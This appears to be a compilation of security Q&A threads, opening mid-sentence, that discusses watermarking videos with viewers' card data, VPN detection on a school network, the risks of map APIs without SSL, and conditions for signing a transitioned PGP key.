That means, if we can rely on them (which I think so), that it can not be installed through the computer.


Credit Card/Personal Info in watermark So I saw this post: Securing a video using encryption about encrypting videos so people wouldn't just download them, and upload them somewhere else.

Pretend that my site made people pay for membership to watch the videos on the site, and Say that I could encrypt the videos, and it would be impossible to decrypt/download them(Not saying that I can).

To fix the problem of someone recording with a screen recorder, or even with a camera on the computer screen, would it be legal (with some kind of contract you agree to when you sign up), and/or a good strategy to put the user's (viewer) credit card info that they used to buy membership in some kind of watermark over the video (covering the whole video but really transparent)? It would prevent them from leaking, because they obviously don't want their credit card stolen.

This isn't for blackhat purposes, I'm not going to do this, I'm just wondering if it would be reasonable, and if it would work.

Putting aside all the legal issues, I just want to know if it would work/be reasonable

EDIT: Also, if this isn't legal (it probably isn't) would it still work if some other personal info was used (like an ip address or something)?

Ignoring all the PCI-DSS and legal implications, for your approach to be an efficient deterrent, people need to be able to retrieve the personal information from the videos - if nobody can extract that info then the deterrent doesn't work because no one will be actually able to see that personal info.

However, when people see where it is, they can now remove it or blur it out before sharing the video, making your approach pointless.

Most watermarks out there are designed to be either secret and invisible (security by obscurity is bad but in this case a compromise isn't a major issue) so that people can't remove it and yet the content creator can still decode that watermark in leaked videos to be able to track who was the original uploader, or, they can be extremely visible on purpose making the protected content worthless (like stock photos with the brand name in the center, so they show a sample of the work while not being usable as actual stock photos).

So, either go with the secret watermark route (in which case embedding an unique user ID is enough for you to track down the user without exposing personal data), or go with the big "in your face" watermark in which case no personal data is needed either because the watermark makes the media unusable, so you're not actually loosing anything by leaking unwatchable media.

Finally, have you considered making it so that people don't have to steal your stuff? Affordable pricing, great UX, no DRM nor other BS like geo-blocking would make your service quite a good investment.


Can a system administrator see if someone is using a VPN? A friend of mine wants to use a VPN on his school's Wi-Fi becuase they've blocked many applications such as Skype, etc.

My question is, if he uses a VPN (with iOS 7) will the system administrators be able to see he's using a VPN and eventually disable it?

Yes, VPN traffic is easily distinguishable on the network, and yes, it can also be easily blocked if the admins care for some reason. So, "a friend of yours" shouldn't really do it to circumvent IT policies. :)


Impact of using map APIs without SSL support? We are currently developing a web application which involves map APIs. Most of the map API providers don't provide any SSL support (e.g. Yahoo! doesn't). What will be the security impact of using map APIs without SSL?

I am integrating the map API in one of my web pages. Is it safe to implement a website without an SSL certificate? What will be the effects/impacts in terms of security?

In real life I have seen many sites without SSL/HTTPS (e.g. Stack Exchange), but as they are big concerns they might have separate team to secure their network. As my company is small we are in need to analyse the impacts of using web APIs without SSL support. Kindly guide me with the impacts of it.

All things being equal, SSL doesn't directly impact the security of your server. SSL is not a protection layer around your server. It's a protection layer around the communication between the server and the client.

If your application needs to authenticate with the map APIs, then the lack of SSL exposes the authentication credentials to eavesdroppers between your application and the map provider.

The lack of SSL also means that you can't be sure that the data you're receiving from the API providers is genuine. An active attacker (man-in-the-middle) can substitute the data in transit or impersonate the map provider altogether.

If the data is going from the map providers from your server, then in practice, this is not a major concern: only backbone ISPs can attack in this scenario. The entities that are in a position to intercept communications between datacenters are also in a position to plant spies directly inside datacenters and service providers.

If the data is going directly between your application's clients and the map providers, this significantly increases the exposure due to the lack of SSL. Desktop users are frequently in a position where their traffic can be intercepted by anyone nearby (wifi), by an employer, school, hotspot provider, etc. Offering at least the ability to use SSL would be strongly recommended.

Regardless of whether the map data providers support SSL, you should support SSL for the communication between your servers and your clients. Certificates are cheap, and HTTPS is easy to set up for most applications.


Under what conditions should I re-sign a PGP key that has been transitioned? Alice and Bob have signed each other's PGP keys.

Later, Bob wants to transition to another PGP key. He wants Alice to sign his new key, but cannot meet in person because he lives far away.

Under what conditions should Alice sign Bob's new key?

I'll have a go at answering this myself. Tell me if I'm wrong.

Alice should sign Bob's new key, if:

Bob produces a statement "new_key is my new key.", signed with his old key. (See What's the purpose of a PGP transition statement? )
old key is not expired
old key has no revocation with a Reason for Revocation of "Key material has been compromised" (otherwise the compromiser could have generated the transition statement)
either:

new key has same UID as old key, OR
new key has a different email address, in which case you should perform email ownership verification (for example, by only sending the signature to the new email address)